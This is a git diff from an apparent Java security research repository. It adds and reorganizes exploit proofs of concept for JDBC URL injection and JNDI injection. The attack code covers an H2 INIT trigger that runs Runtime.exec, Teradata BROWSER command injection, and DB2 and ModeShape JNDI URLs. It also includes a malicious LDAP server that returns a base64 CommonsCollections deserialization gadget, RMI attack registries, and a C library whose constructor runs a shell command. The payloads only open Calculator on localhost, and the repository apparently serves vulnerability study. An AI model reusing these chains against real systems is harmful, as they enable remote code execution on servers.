"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")'"; + + connect(offline); + } + + public static void connect(String jdbcUrl) throws Exception{ + Class.forName("org.h2.Driver"); + Connection connection = DriverManager.getConnection(jdbcUrl); + } +} diff --git a/JDBCAttack/src/main/java/h2database/Offline.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/Offline.java similarity index 100% rename from JDBCAttack/src/main/java/h2database/Offline.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/Offline.java diff --git a/JDBCAttack/src/main/java/h2database/RunScript.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/RunScript.java similarity index 100% rename from JDBCAttack/src/main/java/h2database/RunScript.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/RunScript.java diff --git a/JDBCAttack/src/main/java/h2database/TriggerJS.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/TriggerJS.java similarity index 100% rename from JDBCAttack/src/main/java/h2database/TriggerJS.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/TriggerJS.java diff --git a/JDBCAttack/src/main/java/h2database/poc.sql b/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/poc.sql similarity index 100% rename from JDBCAttack/src/main/java/h2database/poc.sql rename to SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/poc.sql diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/ibm/IBMAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/ibm/IBMAttack.java new file mode 100644 index 0000000..994dd88 --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/ibm/IBMAttack.java @@ -0,0 +1,24 @@ +package ibm; + +import java.sql.DriverManager; + +/** + * JNDI + *

+ * version + * ALL [11.5.x, 11.1.x] + * + * @author Whoopsunix + */ +public class IBMAttack { + public static void main(String[] args) throws Exception { + String jndi = "jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=rmi://127.0.0.1:1099/vabnob;"; + connect(jndi); + } + + public static void connect(String jdbcUrl) throws Exception { + Class.forName("com.ibm.db2.jcc.DB2Driver"); + + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/modeshape/ModeshapeAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/modeshape/ModeshapeAttack.java new file mode 100644 index 0000000..a7a6ce3 --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/modeshape/ModeshapeAttack.java @@ -0,0 +1,20 @@ +package modeshape; + +import java.sql.DriverManager; + +/** + * @author Whoopsunix + */ +public class ModeshapeAttack { + public static void main(String[] args) throws Exception { + String jndi = "jdbc:jcr:jndi:rmi://127.0.0.1:1099/f64tsv"; + + connect(jndi); + } + + public static void connect(String jdbcUrl) throws Exception { + Class.forName("org.modeshape.jdbc.LocalJcrDriver"); + + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/JDBCAttack/src/main/java/mysql/FileAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/FileAttack.java similarity index 100% rename from JDBCAttack/src/main/java/mysql/FileAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/FileAttack.java diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/MysqlAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/MysqlAttack.java new file mode 100644 index 0000000..e6905cd --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/MysqlAttack.java @@ -0,0 +1,14 @@ +package mysql; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author Whoopsunix + */ +public class MysqlAttack { + public static void connect(String jdbcUrl) throws Exception { + Class.forName("com.mysql.jdbc.Driver"); + Connection connection = DriverManager.getConnection(jdbcUrl); + } +} diff --git a/JDBCAttack/src/main/java/mysql/SerializeAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/SerializeAttack.java similarity index 100% rename from JDBCAttack/src/main/java/mysql/SerializeAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/mysql/SerializeAttack.java diff --git a/JDBCAttack/src/main/java/oracle/JNDI.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/oracle/JNDI.java similarity index 100% rename from JDBCAttack/src/main/java/oracle/JNDI.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/oracle/JNDI.java diff --git a/JDBCAttack/src/main/java/postgresql/FileAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/FileAttack.java similarity index 100% rename from JDBCAttack/src/main/java/postgresql/FileAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/FileAttack.java diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/PostgresqlAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/PostgresqlAttack.java new file mode 100644 index 0000000..afbbff7 --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/PostgresqlAttack.java @@ -0,0 +1,15 @@ +package postgresql; + +import org.postgresql.Driver; + +import java.sql.DriverManager; + +/** + * @author Whoopsunix + */ +public class PostgresqlAttack { + public static void connect(String jdbcUrl) throws Exception { + DriverManager.registerDriver(new Driver()); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/JDBCAttack/src/main/java/postgresql/RceAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/RceAttack.java similarity index 100% rename from JDBCAttack/src/main/java/postgresql/RceAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/RceAttack.java diff --git a/JDBCAttack/src/main/java/postgresql/poc.xml b/SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/poc.xml similarity index 100% rename from JDBCAttack/src/main/java/postgresql/poc.xml rename to SecVulns/VulnCore/JDBCAttack/src/main/java/postgresql/poc.xml diff --git a/JDBCAttack/src/main/java/sqlite/DBAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/DBAttack.java similarity index 100% rename from JDBCAttack/src/main/java/sqlite/DBAttack.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/DBAttack.java diff --git a/JDBCAttack/src/main/java/sqlite/DBAttack2.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/DBAttack2.java similarity index 100% rename from JDBCAttack/src/main/java/sqlite/DBAttack2.java rename to SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/DBAttack2.java diff --git a/JDBCAttack/src/main/java/sqlite/poc.c b/SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.c similarity index 100% rename from JDBCAttack/src/main/java/sqlite/poc.c rename to SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.c diff --git a/JDBCAttack/src/main/java/sqlite/poc.db b/SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.db similarity index 100% rename from JDBCAttack/src/main/java/sqlite/poc.db rename to SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.db diff --git a/JDBCAttack/src/main/java/sqlite/poc.db.dylib b/SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.db.dylib similarity index 100% rename from JDBCAttack/src/main/java/sqlite/poc.db.dylib rename to SecVulns/VulnCore/JDBCAttack/src/main/java/sqlite/poc.db.dylib diff --git a/SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/TeradataAttack.java b/SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/TeradataAttack.java new file mode 100644 index 0000000..52150e9 --- /dev/null +++ b/SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/TeradataAttack.java @@ -0,0 +1,15 @@ +package teradata; + +import java.sql.DriverManager; + +public class TeradataAttack { + public static void main(String[] args) throws Exception { + String jdbcUrl = "jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='open -a calculator',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG"; + connect(jdbcUrl); + } + + public static void connect(String jdbcUrl) throws Exception { + DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver()); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/JDBCAttack/src/main/java/teradata/fakeserver.py b/SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/fakeserver.py similarity index 100% rename from JDBCAttack/src/main/java/teradata/fakeserver.py rename to SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/fakeserver.py diff --git a/JDBCAttack/src/main/java/teradata/fakesso.py b/SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/fakesso.py similarity index 100% rename from JDBCAttack/src/main/java/teradata/fakesso.py rename to SecVulns/VulnCore/JDBCAttack/src/main/java/teradata/fakesso.py diff --git a/SecVulns/VulnCore/JNDIAttack/pom.xml b/SecVulns/VulnCore/JNDIAttack/pom.xml new file mode 100644 index 0000000..97168f5 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/pom.xml @@ -0,0 +1,121 @@ + + 4.0.0 + + com.ppp + JNDIAttack + 1.0 + + jar + + JNDIAttack + + + UTF-8 + 8.5.78 + + + + + commons-collections + commons-collections + 3.1 + + + + org.apache.commons + commons-collections4 + 4.0 + + + com.unboundid + unboundid-ldapsdk + 3.1.1 + compile + + + + + org.apache.tomcat + tomcat-catalina + ${tomcat.version} + + + org.apache.tomcat + tomcat-jasper + ${tomcat.version} + + + + org.apache.tomcat + tomcat-dbcp + ${tomcat.version} + + + + commons-dbcp + commons-dbcp + 1.4 + + + org.apache.commons + commons-dbcp2 + 2.12.0 + + + com.h2database + h2 + 1.4.191 + + + com.alibaba + druid + 1.1.0 + + + + + + mysql + mysql-connector-java + 5.1.47 + + + + org.codehaus.groovy + groovy-all + 2.4.9 + + + org.yaml + snakeyaml + 1.33 + + + + com.thoughtworks.xstream + xstream + 1.4.17 + + + org.mvel + mvel2 + 2.2.8.Final + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 8 + 8 + + + + + diff --git a/SecVulns/VulnCore/JNDIAttack/rmi.policy b/SecVulns/VulnCore/JNDIAttack/rmi.policy new file mode 100644 index 0000000..5d74bde --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/rmi.policy @@ -0,0 +1,3 @@ +grant { + permission java.security.AllPermission; +}; \ No newline at end of file diff --git a/JNDIAttack/src/main/java/base/Calc.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/Calc.java similarity index 100% rename from JNDIAttack/src/main/java/base/Calc.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/Calc.java diff --git a/JNDIAttack/src/main/java/base/RMIClient.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RMIClient.java similarity index 80% rename from JNDIAttack/src/main/java/base/RMIClient.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/RMIClient.java index 899067f..247dfbc 100644 --- a/JNDIAttack/src/main/java/base/RMIClient.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RMIClient.java @@ -14,8 +14,8 @@ public static void main(String[] args) throws Exception { // System.out.println(remoteObject.sayHello()); // // M2 Registry - Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099); + Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); RemoteInterface remoteObject2 = (RemoteInterface) registry.lookup("Hello"); - System.out.println(remoteObject2.sayHello()); + System.out.println(remoteObject2.sayHello(1)); } } diff --git a/JNDIAttack/src/main/java/base/RegistryServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RegistryServer.java similarity index 100% rename from JNDIAttack/src/main/java/base/RegistryServer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/RegistryServer.java diff --git a/JNDIAttack/src/main/java/base/RemoteInterface.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteInterface.java similarity index 82% rename from JNDIAttack/src/main/java/base/RemoteInterface.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteInterface.java index c2106a1..78575e9 100644 --- a/JNDIAttack/src/main/java/base/RemoteInterface.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteInterface.java @@ -10,4 +10,6 @@ public interface RemoteInterface extends Remote { public Calc sayHello() throws RemoteException; public String sayHello(Object name) throws RemoteException; + + public int sayHello(int num) throws RemoteException; } diff --git a/JNDIAttack/src/main/java/base/RemoteObject.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteObject.java similarity index 84% rename from JNDIAttack/src/main/java/base/RemoteObject.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteObject.java index 42a428f..edb7f23 100644 --- a/JNDIAttack/src/main/java/base/RemoteObject.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteObject.java @@ -21,4 +21,9 @@ public String sayHello(Object name) throws RemoteException { return name.getClass().getName(); } + @Override + public int sayHello(int num) throws RemoteException { + return 0; + } + } \ No newline at end of file diff --git a/JNDIAttack/src/main/java/base/RemoteServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteServer.java similarity index 85% rename from JNDIAttack/src/main/java/base/RemoteServer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteServer.java index 6d67b7c..7c3c882 100644 --- a/JNDIAttack/src/main/java/base/RemoteServer.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/base/RemoteServer.java @@ -12,6 +12,6 @@ public static void main(String[] args) throws Exception{ LocateRegistry.createRegistry(1099); RemoteInterface remoteObject = new RemoteObject(); // Naming.bind("rmi://127.0.0.1/Hello", remoteObject); - Naming.bind("rmi://192.168.66.143/Hello", remoteObject); + Naming.bind("rmi://127.0.0.1/Hello", remoteObject); } } \ No newline at end of file diff --git a/JNDIAttack/src/main/java/client/AttackRemoteInterface.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteInterface.java similarity index 100% rename from JNDIAttack/src/main/java/client/AttackRemoteInterface.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteInterface.java diff --git a/JNDIAttack/src/main/java/client/AttackRemoteObject.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteObject.java similarity index 86% rename from JNDIAttack/src/main/java/client/AttackRemoteObject.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteObject.java index 4b7060b..53c3e04 100644 --- a/JNDIAttack/src/main/java/client/AttackRemoteObject.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteObject.java @@ -14,6 +14,6 @@ public AttackRemoteObject() throws RemoteException { @Override public Object sayHello() throws Exception { - return Serializer.cc6("calc"); + return Serializer.cc6("open -a Calculator.app"); } } \ No newline at end of file diff --git a/JNDIAttack/src/main/java/client/AttackRemoteServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteServer.java similarity index 89% rename from JNDIAttack/src/main/java/client/AttackRemoteServer.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteServer.java index cee3d8d..7def0b5 100644 --- a/JNDIAttack/src/main/java/client/AttackRemoteServer.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/AttackRemoteServer.java @@ -15,7 +15,7 @@ public static void main(String[] args) throws Exception{ AttackRemoteInterface remoteObject = new AttackRemoteObject(); // 这个地址是客户端要访问的地址 - Naming.bind("rmi://192.168.66.143/xxx", remoteObject); + Naming.bind("rmi://127.0.0.1/xxx", remoteObject); System.out.println("Server Start"); } diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/client/VulRMIClient.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/VulRMIClient.java new file mode 100644 index 0000000..872f4da --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/client/VulRMIClient.java @@ -0,0 +1,25 @@ +package client; + + +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +/** + * @author Whoopsunix + * + */ +public class VulRMIClient { + public static void main(String[] args) throws Exception { + // M1 Naming +// String url = "rmi://127.0.0.1:1099/xxx"; +// +// java.rmi.Naming.lookup(url); +// java.rmi.Naming.list(url); + +// // M2 Registry + Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); + AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx"); +// System.out.println(remoteObject2.sayHello()); + + } +} diff --git a/JNDIAttack/src/main/java/clientserver/AttackRegistry.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/AttackRegistry.java similarity index 99% rename from JNDIAttack/src/main/java/clientserver/AttackRegistry.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/AttackRegistry.java index 787a902..3f3370e 100644 --- a/JNDIAttack/src/main/java/clientserver/AttackRegistry.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/AttackRegistry.java @@ -30,8 +30,8 @@ public AttackRegistry(int port, Object payloadObject) throws NumberFormatExcepti public static final void main(String[] args) { try { -// Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app"); - Object annotationInvocationHandler = Serializer.cc6("calc"); + Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app"); +// Object annotationInvocationHandler = Serializer.cc6("calc"); int port = 1099; System.err.println("* Opening JRMP listener on " + port); diff --git a/JNDIAttack/src/main/java/clientserver/Client.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/Client.java similarity index 66% rename from JNDIAttack/src/main/java/clientserver/Client.java rename to SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/Client.java index 624688a..415b5ed 100644 --- a/JNDIAttack/src/main/java/clientserver/Client.java +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/clientserver/Client.java @@ -9,9 +9,9 @@ */ public class Client { public static void main(String[] args) throws Exception { -// Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099); +// Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // registry.list(); - Naming.lookup("rmi://192.168.66.143:1099/xxx"); + Naming.lookup("rmi://127.0.0.1:1099/xxx"); } } diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.c b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.c new file mode 100644 index 0000000..413dcde --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.c @@ -0,0 +1,10 @@ +// gcc -shared -fPIC Exec.c -o Exec.dylib +// gcc -shared -fPIC Exec.c -o Exec.so +// gcc -m64 Exec.c -fPIC --shared -o Exec.dll +#include +#include +#include + +__attribute__ ((__constructor__)) void preload (void){ + system("open -a Calculator"); +} \ No newline at end of file diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.class b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.class new file mode 100644 index 0000000..a13b955 Binary files /dev/null and b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.class differ diff --git a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.dylib similarity index 72% rename from Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib rename to SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.dylib index 7962a1b..d55ed90 100755 Binary files a/Command/src/main/java/org/command/exec/jni/com/command/exec/jni/libcmd.jnilib and b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.dylib differ diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.java new file mode 100644 index 0000000..7f6e65e --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/Exec.java @@ -0,0 +1,20 @@ +//package jndi; +// +///** +// * @author Whoopsunix +// */ +//public class Exec { +// static { +// System.out.println("static"); +//// new Exec(); +// } +// +// public Exec() { +// System.out.println("Exec"); +// try { +// Runtime.getRuntime().exec("open -a Calculator.app"); +// }catch (Exception e){ +// +// } +// } +//} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIAttack.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIAttack.java new file mode 100644 index 0000000..c4119f8 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIAttack.java @@ -0,0 +1,13 @@ +package jndi; + +import javax.naming.InitialContext; + +/** + * @author Whoopsunix + */ +public class JNDIAttack { + public static Object lookup(String url) throws Exception { + InitialContext ctx = new InitialContext(); + return ctx.lookup(url); + } +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIClient.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIClient.java new file mode 100644 index 0000000..be66053 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIClient.java @@ -0,0 +1,68 @@ +package jndi; + +import javax.naming.Context; +import javax.naming.InitialContext; +import java.util.Properties; + +/** + * @author Whoopsunix + */ +public class JNDIClient { + public static void main(String[] args) throws Exception { +// client1(); + client2(); + } + + public static void client1() throws Exception { + Properties env = new Properties(); + env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); + env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); + Context ctx = new InitialContext(env); + ctx.lookup("Exec"); + } + + public static void client2() throws Exception { + // JDK >= 8u121 +// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); + +// new InitialContext().lookup("rmi://127.0.0.1:1099/Exec"); +// new InitialContext().lookup("ldap://127.0.0.1:1389/Exec"); + + + /** + * org.apache.naming.factory.BeanFactory +// */ +// new InitialContext().lookup("rmi://127.0.0.1:1099/EL"); +// new InitialContext().lookup("rmi://127.0.0.1:1098/GroovyClassLoader"); +// new InitialContext().lookup("rmi://127.0.0.1:1097/GroovyShell"); +// new InitialContext().lookup("rmi://127.0.0.1:1096/WebSphere"); +// new InitialContext().lookup("rmi://127.0.0.1:1094/MLet"); +// new InitialContext().lookup("rmi://127.0.0.1:1093/Snakeyaml"); +// new InitialContext().lookup("rmi://127.0.0.1:1092/Lib"); +// new InitialContext().lookup("rmi://127.0.0.1:1091/XStream"); +// new InitialContext().lookup("rmi://127.0.0.1:1090/mvel"); + + + /** + * org.apache.catalina.users.MemoryUserDatabaseFactory + */ +// new InitialContext().lookup("rmi://127.0.0.1:1099/xxe"); + + /** + * JDBC + */ +// new InitialContext().lookup("rmi://127.0.0.1:1099/tomcatDBCP2"); +// new InitialContext().lookup("rmi://127.0.0.1:1098/tomcatDBCP"); +// new InitialContext().lookup("rmi://127.0.0.1:1097/commonsDBCP2"); +// new InitialContext().lookup("rmi://127.0.0.1:1096/commonsDBCP"); +// new InitialContext().lookup("rmi://127.0.0.1:1095/tomcatH2DBCP2"); +// new InitialContext().lookup("rmi://127.0.0.1:1094/alibabaDruid"); + + + /** + * Test + */ + new InitialContext().lookup("ldap://127.0.0.1:1389/Basic/Command/open -a Calculator.app"); +// new InitialContext().lookup("ldap://127.0.0.1:1389/remoteExploit8"); + } +} diff --git a/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIServer.java b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIServer.java new file mode 100644 index 0000000..2c418c6 --- /dev/null +++ b/SecVulns/VulnCore/JNDIAttack/src/main/java/jndi/JNDIServer.java @@ -0,0 +1,63 @@ +package jndi; + +import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.net.InetAddress; + +/** + * @author Whoopsunix + */ +public class JNDIServer { + private static final String LDAP_BASE = "dc=example,dc=com"; + + public static void main(String[] args) throws Exception { + int port = 1389; + + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig( + "listen", //$NON-NLS-1$ + InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ + port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + + config.addInMemoryOperationInterceptor(new OperationInterceptor()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ + ds.startListening(); + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = "Exec"; + Entry entry = new Entry(base); + try { + sendResult(result, base, entry); + } catch (Exception e) { + e.printStackTrace(); + } + } + + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { + e.addAttribute("javaClassName", ""); + // cc2 open -a Calculator.app + e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAACJsr+ur4AAAAyACABADtvcmcvYXBhY2hlL3N0cnV0cy9qYXNwZXJyZXBvcnRzL2phc3BlcnJlcG9ydGNvbnN0YW50cy9WaWV3cwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAFAAYKAAQACAEAIGphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmVNYW5hZ2VyBwAKCgALAAgBAAJqcwgADQEAD2dldEVuZ2luZUJ5TmFtZQEALyhMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L3NjcmlwdC9TY3JpcHRFbmdpbmU7DAAPABAKAAsAEQEAPmphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCdvcGVuIC1hIENhbGN1bGF0b3IuYXBwJyk7CAATAQAZamF2YXgvc2NyaXB0L1NjcmlwdEVuZ2luZQcAFQEABGV2YWwBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAFwAYCwAWABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUAIQACAAQAAAABABoAGwAcAAEAHwAAAAIAHQABAAEABQAGAAEABwAAACsAAgAEAAAAHyq3AAm7AAtZtwAMTCsSDrYAEk0SFE4sLbkAGgIAV7EAAAAAAAB1cQB+ABgAAADxyv66vgAAADIAEQEAIm9yZy9hcGFjaGUvY2xpL3R5cGVoYW5kbGVyL0NvbW1vbnMHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAUBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAHAAgKAAQACgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQAhAAIABAABAAYAAQAaAAwADQABABAAAAACAA4AAQABAAcACAA